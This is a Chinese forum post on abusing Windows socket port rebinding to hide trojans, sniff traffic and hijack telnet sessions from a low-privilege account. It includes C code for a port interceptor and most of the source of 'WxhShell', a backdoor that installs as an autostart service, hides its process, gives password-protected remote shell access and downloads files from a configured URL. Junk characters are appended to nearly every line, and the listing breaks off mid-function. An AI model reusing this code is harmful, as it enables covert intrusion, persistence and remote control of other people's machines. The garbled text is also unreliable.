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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: `1n^~  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); rW|%eT*/'A  
D5oYcGc  
  saddr.sin_family = AF_INET; d>mT+{3  
>Ut: -}CS  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); {}8C/4iP  
6]Q#4  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 94et ]u%7  
<"6\\#}VG  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [3qH? 2&  
(]\p'%A)  
  这意味着什么?意味着可以进行如下的攻击: sV-P R]  
63%V_B|  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5-ED\-  
{tl{ j1d |  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) _ yJz:pa  
B6;>V`!  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 d(XOZF  
_&\'Va$  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  QcX\z\'vg  
,Y6]x^W  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 7sQHz.4  
us~cIGm  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 jUKMDl H  
z;P#  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 F!g1.49""  
2}XRqa.|  
  #include v0!|TI3s  
  #include [ `1` E1X  
  #include }aVzr}!  
  #include    T@{ab1KV  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Y'm;xA  
  int main() *k;bkd4x  
  { +6l#hO7h  
  WORD wVersionRequested; P_0[spmFU  
  DWORD ret; GDC@s<[k  
  WSADATA wsaData; @[?ZwzY:9  
  BOOL val; j0X^,ot@m  
  SOCKADDR_IN saddr; 0HU0p!yt&  
  SOCKADDR_IN scaddr; Z3YKG{g  
  int err; kr~n5WiAZ  
  SOCKET s; boCi*]  
  SOCKET sc; R4VX*qkB  
  int caddsize; y\uBVa<B  
  HANDLE mt;  K> 4w  
  DWORD tid;   +ctU7 rVy  
  wVersionRequested = MAKEWORD( 2, 2 ); &L5 )v\z  
  err = WSAStartup( wVersionRequested, &wsaData ); XEbVsw  
  if ( err != 0 ) { 0,)2\`99#k  
  printf("error!WSAStartup failed!\n"); VD@$y^!H  
  return -1; <uS/8MP{  
  } 3Mm_xYDud  
  saddr.sin_family = AF_INET; S>h\D4.  
   (yi zM  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 HfhI9f_x  
spm)X-[1  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ,j`48S@  
  saddr.sin_port = htons(23); ) 9 2(C  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4H,c;g=!  
  { p`A2^FS)  
  printf("error!socket failed!\n"); &+@`Si=  
  return -1; a%U#PF6   
  } 6,jCO@!   
  val = TRUE; 1 eV&oN#  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 gJuK%P  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ?B;7J7T  
  { 1U.X[}e  
  printf("error!setsockopt failed!\n"); lb}RPvQE  
  return -1; fap]`P~#L  
  } IAGY-+8e  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; mF~]P8  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ]NBx5m+y@i  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 B0gD4MX/  
@iV-pJ-  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) E9I08AODS  
  { 2cQ~$  
  ret=GetLastError(); 6lg]5d2CD  
  printf("error!bind failed!\n"); n{M Th_C4n  
  return -1; =^rp= Az  
  } $V`1<>4  
  listen(s,2); csLbzDg  
  while(1) 1Dc6v57  
  { KMkD6g  
  caddsize = sizeof(scaddr); RD)Vb$.B:  
  //接受连接请求 gsEcvkj*  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Rh)XYCM  
  if(sc!=INVALID_SOCKET) y;fF|t<y  
  { F1_,V?  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); i.W*Go+  
  if(mt==NULL) gl`J(  
  { o$;&q *  
  printf("Thread Creat Failed!\n"); kiN,N]-V  
  break; Spx%`O<  
  } r9N?z2X  
  } Cj4Y, N  
  CloseHandle(mt); XKZsX1=@R  
  } ,q#SAZ/N  
  closesocket(s); !',%kvJI  
  WSACleanup(); b/m.VL  
  return 0; BQ u8$W  
  }   {D",ao   
  DWORD WINAPI ClientThread(LPVOID lpParam) @ewi96  
  { X)iI]   
  SOCKET ss = (SOCKET)lpParam; #"!ga)a%L  
  SOCKET sc; Q <D_QJ  
  unsigned char buf[4096]; 56c[$ q  
  SOCKADDR_IN saddr; 5vR])T/S0  
  long num; z&9MkbH1  
  DWORD val; w.J$(o(/  
  DWORD ret; gy,)% {,G  
  //如果是隐藏端口应用的话,可以在此处加一些判断 DjN1EP\Xx  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   8]vut{  
  saddr.sin_family = AF_INET; 4XVwi<)  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 9#hp]0S6  
  saddr.sin_port = htons(23); y0T#Qq  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 65O 8?I  
  { fUY05OMZ  
  printf("error!socket failed!\n"); /%,aX [  
  return -1; s:xJ }Ll  
  } 6S n&; ap  
  val = 100; Z?=o(hkd  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =8tK]lb  
  { 286reeN/e  
  ret = GetLastError(); $MQ<QP  
  return -1; /{[<J<(8  
  } yF6AI@y  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) W/t,7lPFb  
  { -V~Fj~b#  
  ret = GetLastError(); pL[3,.@WA  
  return -1; $G)HU6hF*  
  } #&r}J  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) CP2wg .  
  { r_Ou\|jU  
  printf("error!socket connect failed!\n"); 4OJD_  
  closesocket(sc); J!~kqNI  
  closesocket(ss); zY*~2|q,s  
  return -1; Cc{{9Ud  
  } $,/E"G`  
  while(1) N3\RXXY  
  { 2p;I<C:Eo  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 H? z~V-8  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 2BF455e   
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 O>nMeU  
  num = recv(ss,buf,4096,0); t,/8U  
  if(num>0) +L'Cbv="  
  send(sc,buf,num,0); g)$KN,gGuO  
  else if(num==0) cU ?F D  
  break; (X\]!'A  
  num = recv(sc,buf,4096,0); : KFK2yD  
  if(num>0) x;bA\b  
  send(ss,buf,num,0); `w >D6K+  
  else if(num==0) v,QvCozOz  
  break; l/nBin&YGv  
  } {`M \}(E  
  closesocket(ss); tw zV-8\  
  closesocket(sc); RR+kjK?  
  return 0 ; P/WGB~NH  
  } @uV]7d"z(  
 03zt^<  
ZD|F"v.  
========================================================== H$WD7/?j  
0n2H7}Uq  
下边附上一个代码,,WXhSHELL Gukvd6-g9b  
Srmr`[i  
========================================================== xgkCN$zQ`  
V{q*hQd_3  
#include "stdafx.h" *! :j$n;  
jwLZC  
#include <stdio.h> d(RMD  
#include <string.h> f2o6GC_  
#include <windows.h> Y7q Q` |  
#include <winsock2.h> lo6upir ZX  
#include <winsvc.h> u]O}Ub`  
#include <urlmon.h> GKF!GbGR@  
8O{V#aop  
#pragma comment (lib, "Ws2_32.lib") 9__Q-J  
#pragma comment (lib, "urlmon.lib") p8-$MF]] 6  
K$}K2w  
#define MAX_USER   100 // 最大客户端连接数 $?z} yx$  
#define BUF_SOCK   200 // sock buffer <=6F=u3PtU  
#define KEY_BUFF   255 // 输入 buffer 1oiSmW\  
M,ybj5:6  
#define REBOOT     0   // 重启 hPG@iX|V  
#define SHUTDOWN   1   // 关机 )l m7ly8a|  
t$VRNZ`dy  
#define DEF_PORT   5000 // 监听端口 "0 %f R"  
?,v& o>*  
#define REG_LEN     16   // 注册表键长度 j(;ou?Uh  
#define SVC_LEN     80   // NT服务名长度 tg 'gR  
: 4-pnn  
// 从dll定义API Dmy=_j?ej  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); qj:[NPwaM  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); keD?#yY  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ju;OQC~[L]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); iumwhb  
? -3G5yy  
// wxhshell配置信息 Ce}m$k  
struct WSCFG { VE*`J i  
  int ws_port;         // 监听端口 tQT<1Q02i  
  char ws_passstr[REG_LEN]; // 口令 baTd;`Pn  
  int ws_autoins;       // 安装标记, 1=yes 0=no lg )xQV  
  char ws_regname[REG_LEN]; // 注册表键名 WEG!;XZ  
  char ws_svcname[REG_LEN]; // 服务名 UfO='&U^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &#u\@Qze  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ARnq~E@1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^jS1g*nrN  
int ws_downexe;       // 下载执行标记, 1=yes 0=no u^^jt(j  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `.pd %\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 nwfu@h0G  
0(u}z  
}; %q;y74  
V(LfFO{^>?  
// default Wxhshell configuration ZR|s]'  
struct WSCFG wscfg={DEF_PORT, :?z @T[-  
    "xuhuanlingzhe", u-jc8W`Zd  
    1, AEWrrE  
    "Wxhshell", D(|+z-}M  
    "Wxhshell", N`H`\+  
            "WxhShell Service", <Tbl |9  
    "Wrsky Windows CmdShell Service", p^w)@^f  
    "Please Input Your Password: ", rbv  
  1, J~`!@!  
  "http://www.wrsky.com/wxhshell.exe", ir\)Hz2P  
  "Wxhshell.exe" !U2<\!_  
    }; HL$7Ou  
Si23w'T  
// 消息定义模块 9)=bBQyr:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _^RN$4.R>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; O#J7GbrHO  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %$)Sz[=  
char *msg_ws_ext="\n\rExit."; KkzG#'I1  
char *msg_ws_end="\n\rQuit."; zZ51jA9x  
char *msg_ws_boot="\n\rReboot..."; &"A:_5AU  
char *msg_ws_poff="\n\rShutdown..."; Z RwN#?x  
char *msg_ws_down="\n\rSave to "; k+i0@G'C(  
NaQ~iY?  
char *msg_ws_err="\n\rErr!"; OaoHN& "  
char *msg_ws_ok="\n\rOK!"; *Ev8f11i&  
ei1;@k/  
char ExeFile[MAX_PATH]; b"td]H3h  
int nUser = 0; n) HV:8j~  
HANDLE handles[MAX_USER]; 4XiQ8"C  
int OsIsNt; %Y#W#G  
`RURC"  
SERVICE_STATUS       serviceStatus; &E!m(|6?+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?/,V{!UTtq  
<pG 4 g  
// 函数声明 h5aPRPUg  
int Install(void); ?/@XJcm+  
int Uninstall(void); 7rGp^  
int DownloadFile(char *sURL, SOCKET wsh); ~SA>$  
int Boot(int flag); &"Cy&[  
void HideProc(void); x2b t^!t.  
int GetOsVer(void); Ag(JSVY  
int Wxhshell(SOCKET wsl); -<T> paE9  
void TalkWithClient(void *cs); E"/k"1@  
int CmdShell(SOCKET sock); ZtGk Md$  
int StartFromService(void); B 'd@ms  
int StartWxhshell(LPSTR lpCmdLine); |KPNl\%ID  
/Gb)BJk!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ho&f[T(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); S @!z'$&  
aDLlL?r3  
// 数据结构和表定义 j2:9ahW  
SERVICE_TABLE_ENTRY DispatchTable[] = , :KJ({wM  
{ QGErQ +l  
{wscfg.ws_svcname, NTServiceMain}, 6y?uH; SL  
{NULL, NULL} r@'~cF]m  
}; KNP^k$=)3c  
q/@r#  
// 自我安装 W_/$H_04+  
int Install(void) hQ L@q7tUr  
{ YF;2jl Nm  
  char svExeFile[MAX_PATH]; 4@ny%_/  
  HKEY key; ?e+y7K}"]  
  strcpy(svExeFile,ExeFile); [V;u7Z\r-  
=&.9z 4A  
// 如果是win9x系统,修改注册表设为自启动 PuBE=9,  
if(!OsIsNt) { :Us+u-~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ].QzOV'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `!ja0Sq]U  
  RegCloseKey(key); y<v-,b*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !@T~m1L eY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mpIR: Im  
  RegCloseKey(key); 8yZs>Og?  
  return 0; rJ6N'vw>  
    } Fy6Lz.baB  
  } ?g *.7Wc  
} _a`/{M|  
else { r=RiuxxTq  
s!F8<:FRJD  
// 如果是NT以上系统,安装为系统服务 Eh9{n,5-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H:z<]Rc  
if (schSCManager!=0) UhU+vy6)/  
{ -"2%+S{  
  SC_HANDLE schService = CreateService a`C2:Z23(#  
  ( c,G[Rk  
  schSCManager, rC/z8m3z  
  wscfg.ws_svcname, oHV!>K_D  
  wscfg.ws_svcdisp, bQ0+Y?,+/  
  SERVICE_ALL_ACCESS, 8KdcU [w]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;__k*<+{.  
  SERVICE_AUTO_START, k&u5`F  
  SERVICE_ERROR_NORMAL, +J42pSxzoo  
  svExeFile, Ycxv=Et  
  NULL, ej(< Le\  
  NULL, LzEH&y_O  
  NULL, THCvcU?X  
  NULL, uXG$YDKqC  
  NULL |F ~U  
  ); "p>kiNu  
  if (schService!=0) Te^_gdf  
  { b'`C<Rk  
  CloseServiceHandle(schService); 4C;"4''L  
  CloseServiceHandle(schSCManager); H$zDk  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =%[vHQ\%  
  strcat(svExeFile,wscfg.ws_svcname); `w "ooK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4/2@^\?i)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 99~-TiU  
  RegCloseKey(key); G*zhy!P  
  return 0; 2jP(D%n  
    } j4#S/:Q<7  
  } 9m%+6#|  
  CloseServiceHandle(schSCManager); ]qk`Yi  
} a5`9mR)Y$'  
} Qg o| \=  
Cv`dK=n>  
return 1; @.QuIm8,  
} QT(]S>--n  
MBol_#H  
// 自我卸载 Fj&8wZ)v)  
int Uninstall(void) ).MV1@s  
{ oPF n`8dQ  
  HKEY key; uUv^]B 8GM  
+\cG{n*  
if(!OsIsNt) { t6%zfm   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @Ps1.  
  RegDeleteValue(key,wscfg.ws_regname); qFY>/fCP4  
  RegCloseKey(key); Te>m9Pav  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sA,2gbW  
  RegDeleteValue(key,wscfg.ws_regname); PiNf;b^9  
  RegCloseKey(key); J$yJ2G  
  return 0; ?y~"\iP  
  } `;s#/`c|/  
} S=`#X,Wo  
} r!p:73L8  
else { "3Ckc"G@  
R\u5!M$::  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0\o5+  
if (schSCManager!=0) qcBamf  
{ *OY Nx4k  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +3R/g@n  
  if (schService!=0) _U~~[I  
  { u&o<>d;)  
  if(DeleteService(schService)!=0) { bI)%g  
  CloseServiceHandle(schService); lygv#s-T  
  CloseServiceHandle(schSCManager); q9$K.=_5  
  return 0; ,e*WJh8k[  
  } AIM<mU  
  CloseServiceHandle(schService); 'W p~8}i@  
  } .H86f !=  
  CloseServiceHandle(schSCManager); A] f^9F@  
} %^;rYn3  
} wJWofFz  
B(R$5Xp  
return 1; -JdNA2P  
} h,i=Y+1  
90a!_8o  
// 从指定url下载文件 LH q~`  
int DownloadFile(char *sURL, SOCKET wsh) @u-CR8^  
{ gt(!I^LHYc  
  HRESULT hr; '=ydU+X  
char seps[]= "/"; .fNLhyd  
char *token; Ot~buf'|  
char *file; #sf1,k5'  
char myURL[MAX_PATH]; TA"gU8YQ  
char myFILE[MAX_PATH]; x\Kt}/97e  
wQOIUvd  
strcpy(myURL,sURL); OT3~5j1[  
  token=strtok(myURL,seps); W`jKe-jF  
  while(token!=NULL) SJ&+"S&  
  { >ti)m >f  
    file=token; 4FJA+  
  token=strtok(NULL,seps); Ce@"+k+w  
  } N9PEn[t@  
@F!oRm5  
GetCurrentDirectory(MAX_PATH,myFILE); :i o[9B [  
strcat(myFILE, "\\"); <s (o?U  
strcat(myFILE, file); tAS[T9B  
  send(wsh,myFILE,strlen(myFILE),0); sbq:8P#  
send(wsh,"...",3,0); h"ATRr^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "lBYn2W  
  if(hr==S_OK) T2ZN=)xZ1  
return 0; fa(-&;q  
else vF'Y; M  
return 1; V`"Cd?R0Z  
Qs8Rb]%|  
} 3^Z@fC  
HurF4IsHk  
// 系统电源模块 J!5&Nc  
int Boot(int flag) OCWyp  
{ S1_):JvV  
  HANDLE hToken; _16r8r$V  
  TOKEN_PRIVILEGES tkp; +qM2&M  
O|0,= 5  
  if(OsIsNt) { uP2Wy3`V  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); C9nCSbGMY{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); m~8=?R+m  
    tkp.PrivilegeCount = 1; _/h<4G6A  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; FLaj|Z~#)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); UZ7ukn-  
if(flag==REBOOT) { CWS]821;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (bGk=q=M  
  return 0; @eN,m {b  
} z /f0 .RJ  
else { 3ZX#6*(}2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >ToI$~84  
  return 0; *4[P$k$7  
} iq3TP5%i  
  } 2mfG: ^^c  
  else { ZEG~ek=jM  
if(flag==REBOOT) { Vu Ey`c  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) lO8GnkLE  
  return 0; Ksvk5r&y  
} ]1|OQYG  
else { q 7hoI]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4'H)h'#C  
  return 0; m%)S <L7 l  
} ]|B_3* A  
} O]Q8&(  
/7K7o8g  
return 1; !r9~K^EI  
} |uM(A~?  
Q@cYHFi~+  
// win9x进程隐藏模块 sJm v{wM  
void HideProc(void) HK`r9frn  
{ j&`D{z-c~  
M#xol/)h  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 'F7UnkKO|  
  if ( hKernel != NULL ) x=V3_HI/}  
  { #QiNSS  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); X^d}eWP`I  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $QaEU="Z  
    FreeLibrary(hKernel); VaTA|=[;  
  } JgcMk]|'  
4YCuO%  
return; N7Kkz /  
} JUTlJyx8  
$%5vJiuk  
// 获取操作系统版本 py9`q7F  
int GetOsVer(void) pB,l t6  
{ L%/atl!  
  OSVERSIONINFO winfo; ab*O7v  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^aY,Wq  
  GetVersionEx(&winfo); c1g'l.XL 3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2.&%mSN  
  return 1; *r iWrG  
  else U (A#}  
  return 0; ccgV-'IG9  
} b`|,rfq^AZ  
m<|fdS'@  
// 客户端句柄模块 `6o5[2V  
int Wxhshell(SOCKET wsl) R5fZ }C7  
{ sb</-']a  
  SOCKET wsh; Fc a_(jw  
  struct sockaddr_in client; |7b@w;q,D  
  DWORD myID; OdtS5:L  
9+:<RFJ  
  while(nUser<MAX_USER) M|qJZ#{4>  
{ Zu/1:8x  
  int nSize=sizeof(client); b%e7rY2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Lg+cHaA  
  if(wsh==INVALID_SOCKET) return 1; kTo{W]9]  
}dG>_/3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); QVWUm!  
if(handles[nUser]==0) PAv<J<d  
  closesocket(wsh); xWKUti i  
else UsdUMt!u  
  nUser++; y(jd$GM|  
  } wK  Je^7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5} 1qo7;  
^c:I]_Ww  
  return 0; }K9Ji]tOK:  
} q ?m<9`  
`qa>6`\  
// 关闭 socket (0zYS_m A  
void CloseIt(SOCKET wsh) 9a{9|p>L  
{ Px?0)^"2  
closesocket(wsh); :A`jRe.  
nUser--; x!A5j $k0  
ExitThread(0); $"`e^J9!!  
} <"!'>ZUt  
B{lL}"++0  
// 客户端请求句柄 RH&}'4JE:  
void TalkWithClient(void *cs) Y,d|b V*FH  
{ "S3U]zw0_  
YtY.,H;  
  SOCKET wsh=(SOCKET)cs; Sigu p#.p  
  char pwd[SVC_LEN]; bE2{^5iG  
  char cmd[KEY_BUFF]; $kn"S>jV  
char chr[1]; 09Y:(2Qri  
int i,j; n16TQe"8  
k1;Jkq~  
  while (nUser < MAX_USER) { jQ5FvuNOy  
vjYG>YhV  
if(wscfg.ws_passstr) { fh@/fd  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zM<yd#`yt8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n_-k <3  
  //ZeroMemory(pwd,KEY_BUFF); Y~I6ee,\  
      i=0; 8:}$L)[V  
  while(i<SVC_LEN) { t}Kzh`  
 h]?[}&  
  // 设置超时 ((tWgSZ3  
  fd_set FdRead; "gq _^&  
  struct timeval TimeOut; L&qY709  
  FD_ZERO(&FdRead); T2i\S9X  
  FD_SET(wsh,&FdRead); [`=:uUf3  
  TimeOut.tv_sec=8; $ q$\  
  TimeOut.tv_usec=0; ;%xG bg!lg  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); e}q!m(K]e-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Zz56=ZX*_  
K yp(dp>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {;?bC'  
  pwd=chr[0]; v{TISgZ  
  if(chr[0]==0xd || chr[0]==0xa) { o@:u:n+.  
  pwd=0; _tVrLb7`s  
  break; K@;ls  
  } T!gq Z  
  i++; ? p^':@=  
    } M@O<b-  
\|Ya*8V  
  // 如果是非法用户,关闭 socket vKNxL^x  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); R=s^bYdoy  
} !8Q9RnGn  
wq`\p['Q,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -Hu]2J)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >?0f>I%\  
407;M%?'A  
while(1) { m4kUA"n5  
b. oA}XP  
  ZeroMemory(cmd,KEY_BUFF); qVmG"et'J  
p&,2@(Q  
      // 自动支持客户端 telnet标准   z}*74lhF  
  j=0; Gzu $  
  while(j<KEY_BUFF) { zj9aaZ}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K>fY9`Whm  
  cmd[j]=chr[0]; 0qMf6  
  if(chr[0]==0xa || chr[0]==0xd) { t"Djh^=y  
  cmd[j]=0; &y=~:1&f  
  break; p3(&9~ s  
  } zhFk84  
  j++; IOi6' 1l  
    } D^W?~7e ^r  
j=,]b6(  
  // 下载文件 -QUvd1S40  
  if(strstr(cmd,"http://")) { nFfwVqV  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &`4v,l^Zi6  
  if(DownloadFile(cmd,wsh)) (~FLG I  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nm]\0m0p-  
  else ;l6tZ]-"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d>qxaX;  
  } sd~T  
  else {  p%6j2;D  
Pkw ` o #  
    switch(cmd[0]) { U 4@W{P02  
  'F@#.Op`  
  // 帮助 N2^B  
  case '?': { mME a*9P  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); K q0!.455  
    break; c 0%%X!!$  
  } W!BIz&SY:-  
  // 安装 JH0L^p   
  case 'i': { :h+gSvn:  
    if(Install()) X6dv+&=?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cQMb+Q2Yw  
    else ard<T}|N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \kGi5G]  
    break; @n##.th  
    } /hMD Me  
  // 卸载 'M#'BQQ5  
  case 'r': { |VL(#U  
    if(Uninstall()) IL]VY1'#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &zYo   
    else ,??%["R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Fhn=}7|4q  
    break; B)M& FO  
    } IJA WG  
  // 显示 wxhshell 所在路径 e/;chMCq  
  case 'p': { ^3L6mOoA  
    char svExeFile[MAX_PATH]; ^^I3%6UY  
    strcpy(svExeFile,"\n\r"); /8SQmh$+e  
      strcat(svExeFile,ExeFile); 6*<=(SQI  
        send(wsh,svExeFile,strlen(svExeFile),0); nVC:5ie  
    break; 1wa zJj=v  
    } hd2 X/"  
  // 重启 N}3$1=@Y  
  case 'b': { 6h|@Bz/A  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); r%g?.4o*b  
    if(Boot(REBOOT)) +0Rr5^8u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0/."R ;  
    else { ;_lEu" -  
    closesocket(wsh); x_oL~~@  
    ExitThread(0); t4H@ZvAH0  
    } |QvG;{!  
    break; {zc<:^r^  
    } *kXSl73 k  
  // 关机 c2z%|\q  
  case 'd': { pCQB<6&1N  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _Z|s!~wdz  
